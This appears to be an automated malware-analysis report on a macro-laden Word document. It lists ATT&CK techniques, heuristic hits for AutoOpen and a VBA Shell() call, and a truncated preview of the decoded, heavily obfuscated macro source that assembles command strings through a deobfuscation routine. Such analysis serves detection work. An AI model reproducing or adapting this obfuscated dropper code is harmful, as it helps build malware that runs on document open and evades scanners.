MALICIOUS
144
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1071.001 Web Protocols
The sample is a Microsoft Office document containing obfuscated VBA macros, including an AutoOpen macro and a Shell() call, indicating malicious intent. The presence of a 'macros.bas' file and the critical 'OLE_VBA_SHELL' heuristic strongly suggest the macro is designed to execute arbitrary code, likely downloading a secondary payload. The embedded URL was confirmed as benign, so no specific download URL can be extracted.
Heuristics 6
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 52700 bytes |
SHA-256: a0d9fcc766ad49cfd59dc1df282fdf745f29040dd92bf71b7eb581e3720287dd |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 20 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "ECwhVJPZLdWr"
Sub ZrjYj()
On Error Resume Next
Do While wiibwIThzE Xor tzAsNwVaFM
Dim LcAfUprH
Do While iZFFBab Or YCbRV
kXrIMuOzbRiW = 6025 - Atn(aRodq / CByte(7) + ssTuurmUTCDkz + Hex(rQHchfMzkwnXi)) + (171376742 / AkkYladsQ) * (5938624 * ChrW(520437311) + wQZauvXjjj * KKLwLdu)
Loop
UGXMOU = 6025 - Atn(RizYMwzdjQF / CByte(7) + DoaGowNqZYba + Hex(jlwWYELFKdthKT)) + (171376742 / LjfjFrq) * (5938624 * ChrW(520437311) + tzjOAiJt * ZbdNC)
Do
HMujsL = ZdfBittvUFs * CDate(426718607 * Atn(CWpqLbBk - Fix(HjpzIZXULKzIM * CDate(8832))) * GizzQAHEWk / CLng(5390)) / 9 - ChrB(8 - Cos(911)) / 83 + Int(AkRViFraqRuqBW) / VaIuvJpw - ChrB(872) / HMclkiDMEEH + Chr(778 / Atn(48 * Round(FwcFFhVILrzd / CBool(2)))) / (1199 / CByte(ihwbplKniOWdGq * 8 + OhlzOi * CDbl(39)))
Loop Until bfppcUnX <= OwoFBGkP
zCXkGbzr = uiGzORO + QmzIqz
Loop
Set wHiSkGH = WiQcsrZNqlGttJ
End Sub
Function MRzCmzhWsHPu()
On Error Resume Next
QKJpJw = "rMikSIzKvu% tes&&wo=%2rav%iVijMPwvBkRZpizw"
krBWdP = jAMIMPLpa = 6025 - Atn(vnbDWAzIuv / CByte(7) + VDbDXdFM + Hex(cUvdiEFfPSjk)) + (171376742 / ocOuw) * (5938624 * ChrW(520437311) + PrYMZ * LzkEo)
nlcnoHKNzzw = FdqAbrwVRuTt = 6025 - Atn(OiSOzocjEw / CByte(7) + DHVaWHVabjbHM + Hex(AWwbjUYflKTt)) + (171376742 / kQLFAjzzTVX) * (5938624 * ChrW(520437311) + KZsSunbFbwSjFU * UYWLHdZkKP)
XJdLij = iuivbdfghnkjgyugjn(QKJpJw, 17, 17)
ijkHl = "sclkN tes&&qzMRWicctWksHBSaiqiSutXwuGQYnhKHlr"
YPiiCWtquvL = XlYnOSXzj = 6025 - Atn(rURqSjEU / CByte(7) + bzUGarzGcZt + Hex(dfMEIzzDRSJbVO)) + (171376742 / uisJsBnFaC) * (5938624 * ChrW(520437311) + zvOLvZnVOpE * JiFRPIntkMOF)
lmohHdSwI = jPAvpamBd = 6025 - Atn(DoGXj / CByte(7) + AAnpwibnjXzn + Hex(vkjJnL)) + (171376742 / mZYPSk) * (5938624 * ChrW(520437311) + iBcJlEFkLbP * AoNLRczshP)
PpZUQBcZZuw = iuivbdfghnkjgyugjn(ijkHl, 35, 6)
dRJKKUKjLO = "BcvrrivsXDJIYv%!!%8rav%MNawJk"
nrcYolVz = TCYIJ = 6025 - Atn(lEBBoCBtL / CByte(7) + wJCVDEccL + Hex(iZZZzOQ)) + (171376742 / zwXTvjiLmVBP) * (5938624 * ChrW(520437311) + PpjhDTQAOaw * wpMicEalMvOAdN)
ojpLzcvUSl = qrRHbvdSj = 6025 - Atn(rtvzoiWbWzrSj / CByte(7) + QbdXTaf + Hex(pzaIz)) + (171376742 / VBSWckkK) * (5938624 * ChrW(520437311) + mYMsZHOdYK * qzRGzJ)
OVUivZiNRZ = iuivbdfghnkjgyugjn(dRJKKUKjLO, 7, 10)
nCljSJLSO = "WMHZzzOJvV6raSXDtMiZfBOJiwSfcAZdH"
ksobRw = ftmJsL = 6025 - Atn(jJqSJEir / CByte(7) + DcCpMjL + Hex(COJNpBknvCM)) + (171376742 / WikSEzllSbO) * (5938624 * ChrW(520437311) + iMaXMosz * EHiBFtHFiNC)
CZKumzI = IqVrklOu = 6025 - Atn(PazqicbNa / CByte(7) + JNASbG + Hex(wDdjnNMB)) + (171376742 / WFfcDiEHo) * (5938624 * ChrW(520437311) + iLXRjrDGsEH * tlTmKRtcN)
pcUbJQq = iuivbdfghnkjgyugjn(nCljSJLSO, 21, 3)
RacFA = "tKtDZAFmsAhTVoHTEzS=%wJZnficvYuTGUVUJmAYIm"
kOAQqJVln = GvSJTNYiMBCUO = 6025 - Atn(CajbVXju / CByte(7) + jZNzNswEuDzjPD + Hex(zOMDEZjKQ)) + (171376742 / EaQctNMLzijFN) * (5938624 * ChrW(520437311) + lOzHRQj * WOcGKcqWzOzK)
VVfYc = SibBpl = 6025 - Atn(QUltABSp / CByte(7) + btzGRDCAmC + Hex(VdiUIDBTjVG)) + (171376742 / fOVBciGIKA) * (5938624 * ChrW(520437311) + YVzDrOjbOmCwm * QlwAwJHVQUsw)
JdXALSwQ = iuivbdfghnkjgyugjn(RacFA, 8, 17)
GSUBP = "YXYKnBmOaav% oz"
ZOmQWC = PstkJwwmfotWN = 6025 - Atn(ShZYdmih / CByte(7) + rpLISwFTY + Hex(GaAPdUisqhwVz)) + (171376742 / RszYiQ) * (5938624 * ChrW(520437311) + HhSCuzojoaUVcG * RSwEwtrAbWrBq)
OljlQ = BhkIzwsiN = 6025 - Atn(XqMCHdzVDZa / CByte(7) + biRBPhrfCw + Hex(HmtjNdIAjENjHh)) + (171376742 / tzXWwRwWFGqzj) * (5938624 * ChrW(520437311) + qhjbsEP * umruYra)
SdvnmkEb = iuivbdfghnkjgyugjn(GSUBP, 3, 4)
WhBFznJ = "qafijtjS&&!%2rav%!=%ZZYIWauNj"
UHWmbl = PSvwh = 6025 - Atn(CjcEmUShII / CByte(7) + KQnmKMGBziXud + Hex(vaLGQCEzPr)) + (171376742 / XEDDiMf) * (5938624 * ChrW(520437311
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.